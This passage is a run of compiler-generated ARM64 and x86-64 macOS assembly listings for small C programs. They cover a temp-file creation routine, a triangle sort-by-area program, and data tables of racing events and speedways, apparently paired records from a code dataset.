LBB0_42: ; in Loop: Header=BB0_33 Depth=1
ldur x8, [x29, #-40]
ldrb w0, [x8]
bl _isdigit
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_44
b LBB0_43
LBB0_43: ; in Loop: Header=BB0_33 Depth=1
ldur x9, [x29, #-40]
mov w8, #97
strb w8, [x9]
b LBB0_45
LBB0_44: ; in Loop: Header=BB0_33 Depth=1
ldur x9, [x29, #-40]
ldrb w8, [x9]
add w8, w8, #1
strb w8, [x9]
b LBB0_45
LBB0_45: ; in Loop: Header=BB0_33 Depth=1
b LBB0_47
LBB0_46: ; in Loop: Header=BB0_38 Depth=2
b LBB0_38
LBB0_47: ; in Loop: Header=BB0_33 Depth=1
b LBB0_33
LBB0_48:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #208] ; 16-byte Folded Reload
add sp, sp, #224
ret
.cfi_endproc
; -- End function
.section __DATA,__data
__zip_mkstemp.xtra: ; @_zip_mkstemp.xtra
.space 2,97
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl __zip_mkstemp ## -- Begin function _zip_mkstemp
.p2align 4, 0x90
__zip_mkstemp: ## @_zip_mkstemp
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $192, %rsp
movq %rdi, -16(%rbp)
movl $0, -192(%rbp)
callq _getpid
movl %eax, -188(%rbp)
movq -16(%rbp), %rax
movq %rax, -40(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -40(%rbp), %rax
cmpb $0, (%rax)
je LBB0_7
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -40(%rbp), %rax
movsbl (%rax), %eax
cmpl $88, %eax
jne LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -192(%rbp), %eax
addl $1, %eax
movl %eax, -192(%rbp)
jmp LBB0_5
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movl $0, -192(%rbp)
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_6
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movq -40(%rbp), %rax
addq $1, %rax
movq %rax, -40(%rbp)
jmp LBB0_1
LBB0_7:
movq -40(%rbp), %rax
movsbl -1(%rax), %eax
cmpl $88, %eax
jne LBB0_9
## %bb.8:
movb __zip_mkstemp.xtra(%rip), %cl
movq -40(%rbp), %rax
movq %rax, %rdx
addq $-1, %rdx
movq %rdx, -40(%rbp)
movb %cl, -1(%rax)
LBB0_9:
cmpl $6, -192(%rbp)
jle LBB0_12
## %bb.10:
movq -40(%rbp), %rax
movsbl -1(%rax), %eax
cmpl $88, %eax
jne LBB0_12
## %bb.11:
movb __zip_mkstemp.xtra+1(%rip), %cl
movq -40(%rbp), %rax
movq %rax, %rdx
addq $-1, %rdx
movq %rdx, -40(%rbp)
movb %cl, -1(%rax)
LBB0_12:
jmp LBB0_13
LBB0_13: ## =>This Inner Loop Header: Depth=1
movq -40(%rbp), %rax
movq %rax, %rcx
addq $-1, %rcx
movq %rcx, -40(%rbp)
movsbl -1(%rax), %eax
cmpl $88, %eax
jne LBB0_15
## %bb.14: ## in Loop: Header=BB0_13 Depth=1
movl -188(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
addl $48, %edx
movb %dl, %cl
movq -40(%rbp), %rax
movb %cl, (%rax)
movl -188(%rbp), %eax
movl $10, %ecx
cltd
idivl %ecx
movl %eax, -188(%rbp)
jmp LBB0_13
LBB0_15:
movsbl __zip_mkstemp.xtra(%rip), %eax
cmpl $122, %eax
je LBB0_17
## %bb.16:
movb __zip_mkstemp.xtra(%rip), %al
addb $1, %al
movb %al, __zip_mkstemp.xtra(%rip)
jmp LBB0_21
LBB0_17:
movb $97, __zip_mkstemp.xtra(%rip)
movsbl __zip_mkstemp.xtra+1(%rip), %eax
cmpl $122, %eax
je LBB0_19
## %bb.18:
movb __zip_mkstemp.xtra+1(%rip), %al
addb $1, %al
movb %al, __zip_mkstemp.xtra+1(%rip)
jmp LBB0_20
LBB0_19:
movb $97, __zip_mkstemp.xtra+1(%rip)
LBB0_20:
jmp LBB0_21
LBB0_21:
movq -40(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
LBB0_22: ## =>This Inner Loop Header: Depth=1
movq -40(%rbp), %rax
cmpq -16(%rbp), %rax
ja LBB0_24
## %bb.23:
jmp LBB0_32
LBB0_24: ## in Loop: Header=BB0_22 Depth=1
movq -40(%rbp), %rax
movsbl (%rax), %eax
cmpl $47, %eax
jne LBB0_30
## %bb.25:
movq -40(%rbp), %rax
movb $0, (%rax)
movq -16(%rbp), %rdi
leaq -184(%rbp), %rsi
callq _stat$INODE64
cmpl $0, %eax
je LBB0_27
## %bb.26:
movl $0, -4(%rbp)
jmp LBB0_48
LBB0_27:
movzwl -180(%rbp), %eax
andl $61440, %eax ## imm = 0xF000
cmpl $16384, %eax ## imm = 0x4000
je LBB0_29
## %bb.28:
callq ___error
movl $20, (%rax)
movl $0, -4(%rbp)
jmp LBB0_48
LBB0_29:
movq -40(%rbp), %rax
movb $47, (%rax)
jmp LBB0_32
LBB0_30: ## in Loop: Header=BB0_22 Depth=1
jmp LBB0_31
LBB0_31: ## in Loop: Header=BB0_22 Depth=1
movq -40(%rbp), %rax
addq $-1, %rax
movq %rax, -40(%rbp)
jmp LBB0_22
LBB0_32:
jmp LBB0_33
LBB0_33: ## =>This Loop Header: Depth=1
## Child Loop BB0_38 Depth 2
movq -16(%rbp), %rdi
movl $2562, %esi ## imm = 0xA02
movl $384, %edx ## imm = 0x180
movb $0, %al
callq _open
movl %eax, -20(%rbp)
cmpl $0, %eax
jl LBB0_35
## %bb.34:
movl -20(%rbp), %eax
movl %eax, -4(%rbp)
jmp LBB0_48
LBB0_35: ## in Loop: Header=BB0_33 Depth=1
callq ___error
cmpl $17, (%rax)
je LBB0_37
## %bb.36:
movl $0, -4(%rbp)
jmp LBB0_48
LBB0_37: ## in Loop: Header=BB0_33 Depth=1
movq -32(%rbp), %rax
movq %rax, -40(%rbp)
LBB0_38: ## Parent Loop BB0_33 Depth=1
## => This Inner Loop Header: Depth=2
movq -40(%rbp), %rax
cmpb $0, (%rax)
jne LBB0_40
## %bb.39:
movl $0, -4(%rbp)
jmp LBB0_48
LBB0_40: ## in Loop: Header=BB0_38 Depth=2
movq -40(%rbp), %rax
movsbl (%rax), %eax
cmpl $122, %eax
jne LBB0_42
## %bb.41: ## in Loop: Header=BB0_38 Depth=2
movq -40(%rbp), %rax
movq %rax, %rcx
addq $1, %rcx
movq %rcx, -40(%rbp)
movb $97, (%rax)
jmp LBB0_46
LBB0_42: ## in Loop: Header=BB0_33 Depth=1
movq -40(%rbp), %rax
movzbl (%rax), %edi
callq _isdigit
cmpl $0, %eax
je LBB0_44
## %bb.43: ## in Loop: Header=BB0_33 Depth=1
movq -40(%rbp), %rax
movb $97, (%rax)
jmp LBB0_45
LBB0_44: ## in Loop: Header=BB0_33 Depth=1
movq -40(%rbp), %rax
movb (%rax), %cl
addb $1, %cl
movb %cl, (%rax)
LBB0_45: ## in Loop: Header=BB0_33 Depth=1
jmp LBB0_47
LBB0_46: ## in Loop: Header=BB0_38 Depth=2
jmp LBB0_38
LBB0_47: ## in Loop: Header=BB0_33 Depth=1
jmp LBB0_33
LBB0_48:
movl -4(%rbp), %eax
addq $192, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __DATA,__data
__zip_mkstemp.xtra: ## @_zip_mkstemp.xtra
.space 2,97
.subsections_via_symbols
| the_stack_data/68888764.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _area ; -- Begin function area
.p2align 2
_area: ; @area
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur x0, [x29, #-24]
stur x1, [x29, #-16]
ldur x8, [x29, #-24]
str x8, [sp, #24]
ldur w8, [x29, #-16]
str w8, [sp, #32]
ldr w8, [sp, #24]
ldr w9, [sp, #28]
add w8, w8, w9
ldr w9, [sp, #32]
add w8, w8, w9
scvtf d0, w8
fmov d1, #2.00000000
fdiv d0, d0, d1
str d0, [sp, #16]
ldr d0, [sp, #16]
ldr d1, [sp, #16]
ldr s3, [sp, #24]
; implicit-def: $d2
fmov s2, s3
sshll.2d v2, v2, #0
; kill: def $d2 killed $d2 killed $q2
scvtf d2, d2
fsub d1, d1, d2
fmul d0, d0, d1
ldr d1, [sp, #16]
ldr s3, [sp, #28]
; implicit-def: $d2
fmov s2, s3
sshll.2d v2, v2, #0
; kill: def $d2 killed $d2 killed $q2
scvtf d2, d2
fsub d1, d1, d2
fmul d0, d0, d1
ldr d1, [sp, #16]
ldr s3, [sp, #32]
; implicit-def: $d2
fmov s2, s3
sshll.2d v2, v2, #0
; kill: def $d2 killed $d2 killed $q2
scvtf d2, d2
fsub d1, d1, d2
fmul d0, d0, d1
fsqrt d0, d0
str d0, [sp, #8] ; 8-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl ___stack_chk_fail
LBB0_2:
ldr d0, [sp, #8] ; 8-byte Folded Reload
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _swap ; -- Begin function swap
.p2align 2
_swap: ; @swap
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str x1, [sp, #16]
ldr x8, [sp, #24]
ldr x9, [x8]
str x9, [sp]
ldr w8, [x8, #8]
str w8, [sp, #8]
ldr x9, [sp, #24]
ldr x8, [sp, #16]
ldr x10, [x8]
str x10, [x9]
ldr w8, [x8, #8]
str w8, [x9, #8]
ldr x9, [sp, #16]
ldr x8, [sp]
str x8, [x9]
ldr w8, [sp, #8]
str w8, [x9, #8]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _sort_by_area ; -- Begin function sort_by_area
.p2align 2
_sort_by_area: ; @sort_by_area
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str x0, [sp, #32]
str w1, [sp, #28]
str wzr, [sp, #24]
b LBB2_1
LBB2_1: ; =>This Loop Header: Depth=1
; Child Loop BB2_3 Depth 2
ldr w8, [sp, #24]
ldr w9, [sp, #28]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_10
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
str wzr, [sp, #20]
b LBB2_3
LBB2_3: ; Parent Loop BB2_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #20]
ldr w9, [sp, #28]
subs w9, w9, #1
ldr w10, [sp, #24]
subs w9, w9, w10
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_8
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_3 Depth=2
ldr x8, [sp, #32]
ldrsw x9, [sp, #20]
mov x10, #12
mul x9, x9, x10
add x8, x8, x9
ldr x9, [x8]
stur x9, [x29, #-24]
ldr w8, [x8, #8]
stur w8, [x29, #-16]
ldur x0, [x29, #-24]
ldur x1, [x29, #-16]
bl _area
str d0, [sp, #8] ; 8-byte Folded Spill
ldr x10, [sp, #32]
ldr w8, [sp, #20]
add w8, w8, #1
mov w9, #12
smaddl x8, w8, w9, x10
ldr x9, [x8]
str x9, [sp, #40]
ldr w8, [x8, #8]
str w8, [sp, #48]
ldr x0, [sp, #40]
ldr x1, [sp, #48]
bl _area
fmov d1, d0
ldr d0, [sp, #8] ; 8-byte Folded Reload
fcmp d0, d1
cset w8, le
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_3 Depth=2
ldr x8, [sp, #32]
ldrsw x9, [sp, #20]
mov x10, #12
mul x9, x9, x10
add x0, x8, x9
ldr x10, [sp, #32]
ldr w8, [sp, #20]
add w8, w8, #1
mov w9, #12
smaddl x1, w8, w9, x10
bl _swap
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_3 Depth=2
b LBB2_7
LBB2_7: ; in Loop: Header=BB2_3 Depth=2
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB2_3
LBB2_8: ; in Loop: Header=BB2_1 Depth=1
b LBB2_9
LBB2_9: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB2_1
LBB2_10:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_12
b LBB2_11
LBB2_11:
bl ___stack_chk_fail
LBB2_12:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldursw x8, [x29, #-8]
mov x9, #12
mul x0, x8, x9
bl _malloc
stur x0, [x29, #-16]
stur wzr, [x29, #-20]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_4
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldur x8, [x29, #-16]
ldursw x9, [x29, #-20]
mov x12, #12
mul x9, x9, x12
add x11, x8, x9
ldur x8, [x29, #-16]
ldursw x9, [x29, #-20]
mul x9, x9, x12
add x8, x8, x9
add x10, x8, #4
ldur x8, [x29, #-16]
ldursw x9, [x29, #-20]
mul x9, x9, x12
add x8, x8, x9
add x8, x8, #8
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB3_1
LBB3_4:
ldur x0, [x29, #-16]
ldur w1, [x29, #-8]
bl _sort_by_area
str wzr, [sp, #24]
b LBB3_5
LBB3_5: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #24]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_8
b LBB3_6
LBB3_6: ; in Loop: Header=BB3_5 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #24]
mov x12, #12
mul x9, x9, x12
ldr w8, [x8, x9]
; implicit-def: $x11
mov x11, x8
ldur x8, [x29, #-16]
ldrsw x9, [sp, #24]
mul x9, x9, x12
add x8, x8, x9
ldr w8, [x8, #4]
; implicit-def: $x10
mov x10, x8
ldur x8, [x29, #-16]
ldrsw x9, [sp, #24]
mul x9, x9, x12
add x8, x8, x9
ldr w9, [x8, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_5 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB3_5
LBB3_8:
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d%d%d"
l_.str.2: ; @.str.2
.asciz "%d %d %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function area
LCPI0_0:
.quad 0x4000000000000000 ## double 2
.section __TEXT,__text,regular,pure_instructions
.globl _area
.p2align 4, 0x90
_area: ## @area
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -32(%rbp)
movl %esi, -24(%rbp)
movq -32(%rbp), %rax
movq %rax, -16(%rbp)
movl -24(%rbp), %eax
movl %eax, -8(%rbp)
movl -16(%rbp), %eax
addl -12(%rbp), %eax
addl -8(%rbp), %eax
cvtsi2sd %eax, %xmm0
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
divsd %xmm1, %xmm0
movsd %xmm0, -40(%rbp)
movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
cvtsi2sdl -16(%rbp), %xmm2
subsd %xmm2, %xmm1
mulsd %xmm1, %xmm0
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
cvtsi2sdl -12(%rbp), %xmm2
subsd %xmm2, %xmm1
mulsd %xmm1, %xmm0
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
cvtsi2sdl -8(%rbp), %xmm2
subsd %xmm2, %xmm1
mulsd %xmm1, %xmm0
sqrtsd %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _swap ## -- Begin function swap
.p2align 4, 0x90
_swap: ## @swap
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rcx
movq %rcx, -32(%rbp)
movl 8(%rax), %eax
movl %eax, -24(%rbp)
movq -8(%rbp), %rax
movq -16(%rbp), %rcx
movq (%rcx), %rdx
movq %rdx, (%rax)
movl 8(%rcx), %ecx
movl %ecx, 8(%rax)
movq -16(%rbp), %rax
movq -32(%rbp), %rcx
movq %rcx, (%rax)
movl -24(%rbp), %ecx
movl %ecx, 8(%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _sort_by_area ## -- Begin function sort_by_area
.p2align 4, 0x90
_sort_by_area: ## @sort_by_area
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $0, -16(%rbp)
LBB2_1: ## =>This Loop Header: Depth=1
## Child Loop BB2_3 Depth 2
movl -16(%rbp), %eax
movl -12(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jge LBB2_10
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movl $0, -20(%rbp)
LBB2_3: ## Parent Loop BB2_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -20(%rbp), %eax
movl -12(%rbp), %ecx
subl $1, %ecx
subl -16(%rbp), %ecx
cmpl %ecx, %eax
jge LBB2_8
## %bb.4: ## in Loop: Header=BB2_3 Depth=2
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
imulq $12, %rcx, %rcx
addq %rcx, %rax
movq (%rax), %rcx
movq %rcx, -40(%rbp)
movl 8(%rax), %eax
movl %eax, -32(%rbp)
movq -40(%rbp), %rdi
movl -32(%rbp), %esi
callq _area
movsd %xmm0, -64(%rbp) ## 8-byte Spill
movq -8(%rbp), %rax
movl -20(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
imulq $12, %rcx, %rcx
addq %rcx, %rax
movq (%rax), %rcx
movq %rcx, -56(%rbp)
movl 8(%rax), %eax
movl %eax, -48(%rbp)
movq -56(%rbp), %rdi
movl -48(%rbp), %esi
callq _area
movaps %xmm0, %xmm1
movsd -64(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
ucomisd %xmm1, %xmm0
jbe LBB2_6
## %bb.5: ## in Loop: Header=BB2_3 Depth=2
movq -8(%rbp), %rdi
movslq -20(%rbp), %rax
imulq $12, %rax, %rax
addq %rax, %rdi
movq -8(%rbp), %rsi
movl -20(%rbp), %eax
addl $1, %eax
cltq
imulq $12, %rax, %rax
addq %rax, %rsi
callq _swap
LBB2_6: ## in Loop: Header=BB2_3 Depth=2
jmp LBB2_7
LBB2_7: ## in Loop: Header=BB2_3 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB2_3
LBB2_8: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_9
LBB2_9: ## in Loop: Header=BB2_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB2_1
LBB2_10:
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movslq -8(%rbp), %rax
imulq $12, %rax, %rdi
callq _malloc
movq %rax, -16(%rbp)
movl $0, -20(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB3_4
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rsi
movslq -20(%rbp), %rax
imulq $12, %rax, %rax
addq %rax, %rsi
movq -16(%rbp), %rdx
movslq -20(%rbp), %rax
imulq $12, %rax, %rax
addq %rax, %rdx
addq $4, %rdx
movq -16(%rbp), %rcx
movslq -20(%rbp), %rax
imulq $12, %rax, %rax
addq %rax, %rcx
addq $8, %rcx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.3: ## in Loop: Header=BB3_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB3_1
LBB3_4:
movq -16(%rbp), %rdi
movl -8(%rbp), %esi
callq _sort_by_area
movl $0, -24(%rbp)
LBB3_5: ## =>This Inner Loop Header: Depth=1
movl -24(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB3_8
## %bb.6: ## in Loop: Header=BB3_5 Depth=1
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
imulq $12, %rcx, %rcx
addq %rcx, %rax
movl (%rax), %esi
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
imulq $12, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %edx
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
imulq $12, %rcx, %rcx
addq %rcx, %rax
movl 8(%rax), %ecx
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
## %bb.7: ## in Loop: Header=BB3_5 Depth=1
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB3_5
LBB3_8:
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d%d%d"
L_.str.2: ## @.str.2
.asciz "%d %d %d\n"
.subsections_via_symbols
| the_stack_data/59512843.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __DATA,__data
.globl _race ; @race
.p2align 3
_race:
.quad 0x3ff0000000000000 ; double 1
.asciz "Rolex 24 At Daytona\000\000\000\000\000\000\000\000\000\000\000"
.asciz "DP/GT"
.asciz "January 26 January 27"
.asciz "1"
.space 3
.quad 0x4000000000000000 ; double 2
.asciz "Gainsco Grand Prix of Miami\000\000\000"
.asciz "DP/GT"
.asciz "March 29\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "2"
.space 3
.quad 0x4008000000000000 ; double 3
.asciz "Mexico City 250\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "DP/GT"
.asciz "April 19\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "2"
.space 3
.quad 0x4010000000000000 ; double 4
.asciz "Bosch Engineering 250 at VIR\000\000"
.asciz "GT\000\000\000"
.asciz "April 27\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "4"
.space 3
.quad 0x4014000000000000 ; double 5
.asciz "RumBum.com 250\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "DP/GT"
.asciz "May 17\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "5"
.space 3
.quad 0x4018000000000000 ; double 6
.asciz "Lime Rock GT Classic 250\000\000\000\000\000\000"
.asciz "GT\000\000\000"
.asciz "May 26\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "6"
.space 3
.quad 0x401c000000000000 ; double 7
.asciz "Sahlen's Six Hours of the Glen"
.asciz "DP/GT"
.asciz "June 7\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "7"
.space 3
.globl _track ; @track
.p2align 3
_track:
.quad 0x3ff0000000000000 ; double 1
.asciz "Auto Club Speedway\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "Fontana, CA\000\000\000\000\000\000"
.space 6
.quad 0x40f6760000000000 ; double 92000
.quad 0x409f340000000000 ; double 1997
.quad 0x4000000000000000 ; double 2
.asciz "Chicagoland Speedway\000\000\000\000\000\000\000\000\000\000\000"
.asciz "Joliet, IL\000\000\000\000\000\000\000"
.space 6
.quad 0x40f24f8000000000 ; double 75000
.quad 0x409f440000000000 ; double 2001
.quad 0x4008000000000000 ; double 3
.asciz "Darlington Raceway\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "Darlington, SC\000\000\000"
.space 6
.quad 0x40eec30000000000 ; double 63000
.quad 0x409e780000000000 ; double 1950
.quad 0x4010000000000000 ; double 4
.asciz "Daytona International Speedway\000"
.asciz "Daytona Beach, FL"
.space 6
.quad 0x4104820000000000 ; double 168000
.quad 0x409e9c0000000000 ; double 1959
.quad 0x4014000000000000 ; double 5
.asciz "Homestead-Miami Speedway\000\000\000\000\000\000\000"
.asciz "Homestead, FL\000\000\000\000"
.space 6
.quad 0x40efbd0000000000 ; double 65000
.quad 0x409f2c0000000000 ; double 1995
.quad 0x4018000000000000 ; double 6
.asciz "Kansas Speedway\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "Kansas City, KS\000\000"
.space 6
.quad 0x40f3f17000000000 ; double 81687
.quad 0x409f440000000000 ; double 2001
.quad 0x401c000000000000 ; double 7
.asciz "Martinsville Speedway\000\000\000\000\000\000\000\000\000\000"
.asciz "Ridgeway, VA\000\000\000\000\000"
.space 6
.quad 0x40efbd0000000000 ; double 65000
.quad 0x409e6c0000000000 ; double 1947
.quad 0x4020000000000000 ; double 8
.asciz "Michigan International Speedway"
.asciz "Brooklyn, MI\000\000\000\000\000"
.space 6
.quad 0x4100c0d800000000 ; double 137243
.quad 0x409ec00000000000 ; double 1968
.quad 0x4022000000000000 ; double 9
.asciz "Phoenix International Raceway\000\000"
.asciz "Avondale, AZ\000\000\000\000\000"
.space 6
.quad 0x40f2c0c000000000 ; double 76812
.quad 0x409eb00000000000 ; double 1964
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __DATA,__data
.globl _race ## @race
.p2align 4
_race:
.quad 0x3ff0000000000000 ## double 1
.asciz "Rolex 24 At Daytona\000\000\000\000\000\000\000\000\000\000\000"
.asciz "DP/GT"
.asciz "January 26 January 27"
.asciz "1"
.space 3
.quad 0x4000000000000000 ## double 2
.asciz "Gainsco Grand Prix of Miami\000\000\000"
.asciz "DP/GT"
.asciz "March 29\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "2"
.space 3
.quad 0x4008000000000000 ## double 3
.asciz "Mexico City 250\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "DP/GT"
.asciz "April 19\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "2"
.space 3
.quad 0x4010000000000000 ## double 4
.asciz "Bosch Engineering 250 at VIR\000\000"
.asciz "GT\000\000\000"
.asciz "April 27\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "4"
.space 3
